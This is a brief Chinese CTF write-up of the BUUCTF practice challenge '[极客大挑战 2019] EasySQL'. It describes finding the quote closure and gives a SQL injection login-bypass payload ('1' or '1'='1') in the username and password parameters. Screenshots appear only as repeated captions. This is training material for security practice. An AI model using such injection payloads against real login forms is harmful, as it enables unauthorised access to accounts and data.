//复现环境:https://buuoj.cn/challenges
打开环境后是这样一个页面
[极客大挑战 2019]web题-EasySQL

寻找闭合方式
[极客大挑战 2019]web题-EasySQL
从提示上知道,最后还有一个引号需要去闭合,最后构造的payload如下:
?username=1’ or ‘1’=‘1&password=1’ or ‘1’='1
[极客大挑战 2019]web题-EasySQL

相关文章: